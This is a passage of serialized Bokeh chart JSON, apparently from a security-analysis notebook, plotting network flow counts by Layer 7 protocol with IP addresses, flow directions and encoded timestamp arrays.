:{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"field\":\"color\"},\"top\":{\"field\":\"TotalAllowedFlows\"},\"width\":{\"value\":4},\"x\":{\"field\":\"FlowStartTime\"}},\"id\":\"3318\",\"type\":\"VBar\"},{\"attributes\":{},\"id\":\"3345\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"3160\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"axis\":{\"id\":\"3133\"},\"dimension\":1,\"grid_line_alpha\":0.3,\"grid_line_color\":\"navy\",\"minor_grid_line_alpha\":0.1,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"3136\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"3229\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"overlay\":{\"id\":\"3142\"}},\"id\":\"3138\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"data_source\":{\"id\":\"3377\"},\"glyph\":{\"id\":\"3379\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3380\"},\"selection_glyph\":null,\"view\":{\"id\":\"3382\"}},\"id\":\"3381\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"text\":\"Network flows by Layer 7 Protocol\"},\"id\":\"3119\",\"type\":\"Title\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"3165\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"3137\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"below\":[{\"id\":\"3525\"},{\"id\":\"3530\"}],\"center\":[{\"id\":\"3528\"}],\"plot_height\":120,\"plot_width\":900,\"renderers\":[{\"id\":\"3537\"}],\"title\":{\"id\":\"3515\"},\"toolbar\":{\"id\":\"3529\"},\"toolbar_location\":null,\"x_range\":{\"id\":\"3517\"},\"x_scale\":{\"id\":\"3521\"},\"y_range\":{\"id\":\"3519\"},\"y_scale\":{\"id\":\"3523\"}},\"id\":\"3514\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"field\":\"color\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"3413\",\"type\":\"Circle\"},{\"attributes\":{\"source\":{\"id\":\"3377\"}},\"id\":\"3415\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"3134\",\"type\":\"BasicTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"3173\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"3175\",\"type\":\"Selection\"},{\"attributes\":{\"end\":1550287384900.0,\"start\":1549571694100.0},\"id\":\"3121\",\"type\":\"Range1d\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"3141\",\"type\":\"PanTool\"},{\"attributes\":{\"source\":{\"id\":\"3257\"}},\"id\":\"3262\",\"type\":\"CDSView\"},{\"attributes\":{\"source\":{\"id\":\"3257\"}},\"id\":\"3291\",\"type\":\"CDSView\"},{\"attributes\":{\"click_policy\":\"hide\",\"label_text_font_size\":\"8pt\",\"location\":\"center\"},\"id\":\"3513\",\"type\":\"Legend\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"10.0.3.5\",\"10.0.3.4\",\"10.0.3.5\",\"10.0.3.4\"],\"FlowDirection\":[\"O\",\"I\",\"O\",\"I\"],\"FlowStartTime\":{\"__ndarray__\":\"AADbAJiOdkIAANsAmI52QgCA51F+jnZCAIDnUX6OdkI=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[4]},\"FlowType\":[\"IntraVNet\",\"IntraVNet\",\"IntraVNet\",\"IntraVNet\"],\"L7Protocol\":[\"microsoft-ds\",\"microsoft-ds\",\"microsoft-ds\",\"microsoft-ds\"],\"TotalAllowedFlows\":{\"__ndarray__\":\"AAAAAAAACEAAAAAAAAAIQAAAAAAAABhAAAAAAAAAGEA=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[4]},\"color\":[\"#30678D\",\"#30678D\",\"#30678D\",\"#30678D\"],\"index\":[205,206,207,208],\"y_index\":[2,2,2,2]},\"selected\":{\"id\":\"3284\"},\"selection_policy\":{\"id\":\"3285\"}},\"id\":\"3257\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"3139\",\"type\":\"ResetTool\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"3172\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"3140\",\"type\":\"SaveTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.7},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.7},\"line_color\":{\"field\":\"color\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"3412\",\"type\":\"Circle\"},{\"attributes\":{\"source\":{\"id\":\"3315\"}},\"id\":\"3351\",\"type\":\"CDSView\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"3164\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"3477\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"131.107.147.209\",\"131.107.147.209\",\"131.107.147.209\",\"131.107.147.209\",\"131.107.147.209\"],\"FlowDirection\":[\"I\",\"I\",\"I\",\"I\",\"I\"],\"FlowStartTime\":{\"__ndarray__\":\"AIC65IaOdkIAgHOafI52QgAAvzuIjnZCAIDJXH2OdkIAAJhNUo52Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[5]},\"FlowType\":[\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\"],\"L7Protocol\":[\"ms-wbt-server\",\"ms-wbt-server\",\"ms-wbt-server\",\"ms-wbt-server\",\"ms-wbt-server\"],\"TotalAllowedFlows\":{\"__ndarray__\":\"AAAAAAAACEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAJkAAAAAAAAAQQA==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[5]},\"color\":[\"#208F8C\",\"#208F8C\",\"#208F8C\",\"#208F8C\",\"#208F8C\"],\"index\":[213,214,215,216,217],\"y_index\":[3,3,3,3,3]},\"selected\":{\"id\":\"3344\"},\"selection_policy\":{\"id\":\"3345\"}},\"id\":\"3315\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"3163\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"axis\":{\"id\":\"3129\"},\"grid_line_alpha\":0.3,\"grid_line_color\":\"navy\",\"minor_grid_line_alpha\":0.1,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"3132\",\"type\":\"Grid\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"3167\",\"type\":\"DaysTicker\"},{\"attributes\":{\"data_source\":{\"id\":\"3443\"},\"glyph\":{\"id\":\"3445\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3446\"},\"selection_glyph\":null,\"view\":{\"id\":\"3448\"}},\"id\":\"3447\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"label\":{\"value\":\"microsoft-ds\"},\"renderers\":[{\"id\":\"3261\"},{\"id\":\"3290\"}]},\"id\":\"3286\",\"type\":\"LegendItem\"},{\"attributes\":{\"label\":{\"value\":\"ntp\"},\"renderers\":[{\"id\":\"3381\"},{\"id\":\"3414\"}]},\"id\":\"3410\",\"type\":\"LegendItem\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"field\":\"color\"},\"top\":{\"field\":\"TotalAllowedFlows\"},\"width\":{\"value\":4},\"x\":{\"field\":\"FlowStartTime\"}},\"id\":\"3206\",\"type\":\"VBar\"},{\"attributes\":{\"source\":{\"id\":\"3443\"}},\"id\":\"3448\",\"type\":\"CDSView\"},{\"attributes\":{\"data_source\":{\"id\":\"3257\"},\"glyph\":{\"id\":\"3288\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3289\"},\"selection_glyph\":null,\"view\":{\"id\":\"3291\"}},\"id\":\"3290\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.7},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.7},\"line_color\":{\"field\":\"color\"},\"top\":{\"field\":\"TotalAllowedFlows\"},\"width\":{\"value\":4},\"x\":{\"field\":\"FlowStartTime\"}},\"id\":\"3445\",\"type\":\"VBar\"},{\"attributes\":{},\"id\":\"3123\",\"type\":\"DataRange1d\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.7},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.7},\"line_color\":{\"field\":\"color\"},\"top\":{\"field\":\"TotalAllowedFlows\"},\"width\":{\"value\":4},\"x\":{\"field\":\"FlowStartTime\"}},\"id\":\"3154\",\"type\":\"VBar\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"field\":\"color\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"3233\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"3284\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"3127\",\"type\":\"LinearScale\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"field\":\"color\"},\"top\":{\"field\":\"TotalAllowedFlows\"},\"width\":{\"value\":4},\"x\":{\"field\":\"FlowStartTime\"}},\"id\":\"3260\",\"type\":\"VBar\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"3577\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"source\":{\"id\":\"3377\"}},\"id\":\"3382\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"field\":\"color\"},\"top\":{\"field\":\"TotalAllowedFlows\"},\"width\":{\"value\":4},\"x\":{\"field\":\"FlowStartTime\"}},\"id\":\"3446\",\"type\":\"VBar\"},{\"attributes\":{\"below\":[{\"id\":\"3129\"}],\"center\":[{\"id\":\"3132\"},{\"id\":\"3136\"},{\"id\":\"3177\"}],\"left\":[{\"id\":\"3133\"}],\"min_border_left\":50,\"plot_height\":400,\"plot_width\":900,\"renderers\":[{\"id\":\"3156\"},{\"id\":\"3182\"},{\"id\":\"3207\"},{\"id\":\"3234\"},{\"id\":\"3261\"},{\"id\":\"3290\"},{\"id\":\"3319\"},{\"id\":\"3350\"},{\"id\":\"3381\"},{\"id\":\"3414\"},{\"id\":\"3447\"},{\"id\":\"3482\"}],\"right\":[{\"id\":\"3513\"}],\"title\":{\"id\":\"3119\"},\"toolbar\":{\"id\":\"3143\"},\"toolbar_location\":\"above\",\"x_range\":{\"id\":\"3121\"},\"x_scale\":{\"id\":\"3125\"},\"y_range\":{\"id\":\"3123\"},\"y_scale\":{\"id\":\"3127\"}},\"id\":\"3118\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"3521\",\"type\":\"LinearScale\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"3166\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.7},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.7},\"line_color\":{\"field\":\"color\"},\"top\":{\"field\":\"TotalAllowedFlows\"},\"width\":{\"value\":4},\"x\":{\"field\":\"FlowStartTime\"}},\"id\":\"3259\",\"type\":\"VBar\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.7},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.7},\"line_color\":{\"field\":\"color\"},\"top\":{\"field\":\"TotalAllowedFlows\"},\"width\":{\"value\":4},\"x\":{\"field\":\"FlowStartTime\"}},\"id\":\"3379\",\"type\":\"VBar\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"field\":\"color\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"3289\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"3125\",\"type\":\"LinearScale\"},{\"attributes\":{\"label\":{\"value\":\"ssh\"},\"renderers\":[{\"id\":\"3447\"},{\"id\":\"3482\"}]},\"id\":\"3478\",\"type\":\"LegendItem\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.7},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.7},\"line_color\":{\"field\":\"color\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"3232\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"blue\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"blue\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3536\",\"type\":\"Circle\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@FlowStartTime\":\"datetime\"},\"tooltips\":[[\"FlowType\",\"@FlowType\"],[\"L7Protocol\",\"@L7Protocol\"],[\"AllExtIPs\",\"@AllExtIPs\"],[\"TotalAllowedFlows\",\"@TotalAllowedFlows\"],[\"FlowStartTime\",\"@FlowStartTime{%F %T.%3N}\"],[\"FlowDirection\",\"@FlowDirection\"]]},\"id\":\"3117\",\"type\":\"HoverTool\"},{\"attributes\":{},\"id\":\"3476\",\"type\":\"Selection\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"90.130.70.73\",\"90.130.70.73\"],\"FlowDirection\":[\"O\",\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AIC62IiOdkIAAPdVGY12Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[2]},\"FlowType\":[\"ExternalPublic\",\"ExternalPublic\"],\"L7Protocol\":[\"ftp\",\"ftp\"],\"TotalAllowedFlows\":{\"__ndarray__\":\"AAAAAAAA8D8AAAAAAADwPw==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[2]},\"color\":[\"#440154\",\"#440154\"],\"index\":[218,219],\"y_index\":[0,0]},\"selected\":{\"id\":\"3175\"},\"selection_policy\":{\"id\":\"3176\"}},\"id\":\"3152\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.7},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.7},\"line_color\":{\"field\":\"color\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"3348\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"field\":\"color\"},\"top\":{\"field\":\"TotalAllowedFlows\"},\"width\":{\"value\":4},\"x\":{\"field\":\"FlowStartTime\"}},\"id\":\"3380\",\"type\":\"VBar\"},{\"attributes\":{\"data_source\":{\"id\":\"3377\"},\"glyph\":{\"id\":\"3412\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3413\"},\"selection_glyph\":null,\"view\":{\"id\":\"3415\"}},\"id\":\"3414\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"3117\"},{\"id\":\"3137\"},{\"id\":\"3138\"},{\"id\":\"3139\"},{\"id\":\"3140\"},{\"id\":\"3141\"}]},\"id\":\"3143\",\"type\":\"Toolbar\"},{\"attributes\":{\"data_source\":{\"id\":\"3257\"},\"glyph\":{\"id\":\"3259\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3260\"},\"selection_glyph\":null,\"view\":{\"id\":\"3262\"}},\"id\":\"3261\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"3168\",\"type\":\"DaysTicker\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"3150\"},\"ticker\":{\"id\":\"3130\"}},\"id\":\"3129\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"3142\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"axis_label\":\"TotalAllowedFlows\",\"formatter\":{\"id\":\"3160\"},\"ticker\":{\"id\":\"3134\"}},\"id\":\"3133\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"3409\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"data_source\":{\"id\":\"3315\"},\"glyph\":{\"id\":\"3348\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3349\"},\"selection_glyph\":null,\"view\":{\"id\":\"3351\"}},\"id\":\"3350\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"3344\",\"type\":\"Selection\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"72.21.91.29\",\"13.107.4.50\",\"23.48.36.47\",\"23.4.187.27\",\"72.21.81.240\",\"72.21.81.240\",\"13.107.4.50\",\"72.21.91.29\",\"72.21.81.240\",\"216.58.218.238\",\"173.194.61.40\",\"72.21.91.29\",\"23.45.180.121\",\"13.107.4.50\",\"205.185.216.42\",\"23.4.187.27\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.91.29\",\"13.107.4.50\",\"72.21.91.29\",\"13.107.4.50\",\"72.21.91.29\",\"8.253.45.249\",\"205.185.216.42\",\"23.223.3.100\",\"72.21.81.240\",\"23.48.36.78\",\"40.80.145.38\",\"40.87.63.92\",\"99.84.106.178\",\"23.3.13.106\",\"99.84.106.27\",\"23.3.13.112\",\"23.45.180.234\",\"99.84.106.92\",\"72.21.81.240\",\"23.3.13.146\",\"8.249.241.254\",\"38.75.137.9\",\"23.48.36.78\",\"72.21.91.29\",\"23.45.181.178\",\"72.21.81.240\",\"184.51.150.81\",\"23.45.180.34\",\"72.21.81.240\",\"13.107.4.50\",\"72.21.91.29\",\"72.21.91.29\",\"23.45.180.232\",\"23.45.181.160\",\"72.21.91.29\",\"72.21.81.240\",\"72.21.91.29\",\"205.185.216.10\",\"72.21.91.29\",\"72.21.91.29\",\"65.158.47.112\",\"72.21.81.240\",\"23.4.187.27\",\"23.56.172.240\",\"72.21.91.29\",\"72.21.81.240\",\"23.45.180.184\",\"72.21.91.29\",\"23.4.187.27\",\"67.26.237.254\",\"72.21.91.29\",\"23.45.181.176\",\"23.73.181.8\",\"184.51.150.105\",\"72.21.91.29\",\"67.26.233.254\",\"72.21.91.29\",\"72.21.91.29\",\"23.48.36.61\",\"72.21.91.29\",\"72.21.81.240\",\"72.21.91.29\",\"23.48.36.78\",\"23.3.13.152\",\"23.45.180.224\",\"23.215.98.90\",\"72.21.81.240\"],\"FlowDirection\":[\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AABcgN2OdkIAAGmN1452QgAAaY3XjnZCAABQYgyPdkIAAFBiDI92QgAATED2jnZCAABMQPaOdkIAAD6K8Y52QgAAPorxjnZCAIDOBuKOdkIAgM4G4o52QgCAaADRjnZCAADIA9qOdkIAAMgD2o52QgCAar+/jnZCAIBqv7+OdkIAgKtku452QgCAPQyqjnZCAAAMoMyOdkIAgCs/oo52QgAAnsuljnZCAIAxG5OOdkIAgMmdh452QgCAyZ2HjnZCAIDJnYeOdkIAgMmdh452QgCAyZ2HjnZCAIDJnYeOdkIAgMmdh452QgCAgamHjnZCAICBqYeOdkIAgCeUjY52QgCAJ5SNjnZCAIAnlI2OdkIAgCeUjY52QgCAJ5SNjnZCAIAnlI2OdkIAgCeUjY52QgCAJ5SNjnZCAIAcvYOOdkIAAFTCcY52QgAAhiZZjnZCAIDsGkyOdkIAgJbJTY52QgAAKolSjnZCAAAqiVKOdkIAACqJUo52QgAAinQ+jnZCAACKdD6OdkIAgOl+MY52QgAAQVnLjXZCAICVV6iNdkIAgLbqmY12QgCAtuqZjXZCAIC26pmNdkIAAH1pII12QgAAfWkgjXZCAIDDaBmNdkIAgJHuC412QgCAmzQHjXZCAICbNAeNdkIAgJs0B412QgAA/f87jXZCAAAOUfOMdkIAAA5R84x2QgCAfk/rjHZCAABNttaMdkIAAE221ox2QgAATbbWjHZCAIAEde+MdkIAgAR174x2QgCATk29jXZCAIAZ3aONdkIAgDFuoI12QgCAO6mIjXZCAADcsJKNdkIAgKCQeI12QgCAWcltjXZCAIBZyW2NdkIAALp3V412QgAA1JdKjXZCAAAFq0KNdkIAALiER412QgAAuIRHjXZCAICC/FKNdkIAgIL8Uo12Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[86]},\"FlowType\":[\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\"],\"L7Protocol\":[\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\"],\"TotalAllowedFlows\":{\"__ndarray__\":\"AAAAAAAA8D8AAAAAAAAAQAAAAAAAAABAAAAAAAAACEAAAAAAAAAIQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAPA/AAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAADwPwAAAAAAAPA/AAAAAAAA8D8AAAAAAADwPwAAAAAAAPA/AAAAAAAA8D8AAAAAAIBEQAAAAAAAgERAAAAAAACAREAAAAAAAIBEQAAAAAAAgERAAAAAAACAREAAAAAAAIBEQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAkQAAAAAAAACRAAAAAAAAAJEAAAAAAAAAkQAAAAAAAACRAAAAAAAAAJEAAAAAAAAAkQAAAAAAAACRAAAAAAAAA8D8AAAAAAADwPwAAAAAAAPA/AAAAAAAA8D8AAAAAAADwPwAAAAAAAAhAAAAAAAAACEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAACEAAAAAAAAAAQAAAAAAAAPA/AAAAAAAA8D8AAAAAAAAIQAAAAAAAAAhAAAAAAAAACEAAAAAAAAAAQAAAAAAAAABAAAAAAAAA8D8AAAAAAADwPwAAAAAAAAhAAAAAAAAACEAAAAAAAAAIQAAAAAAAAPA/AAAAAAAAEEAAAAAAAAAQQAAAAAAAAPA/AAAAAAAAEEAAAAAAAAAQQAAAAAAAABBAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAPA/AAAAAAAA8D8AAAAAAADwPwAAAAAAAPA/AAAAAAAA8D8AAAAAAADwPwAAAAAAAAhAAAAAAAAACEAAAAAAAADwPwAAAAAAAPA/AAAAAAAA8D8AAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQA==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[86]},\"color\":[\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\",\"#443982\"],\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85],\"y_index\":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"3228\"},\"selection_policy\":{\"id\":\"3229\"}},\"id\":\"3203\",\"type\":\"Co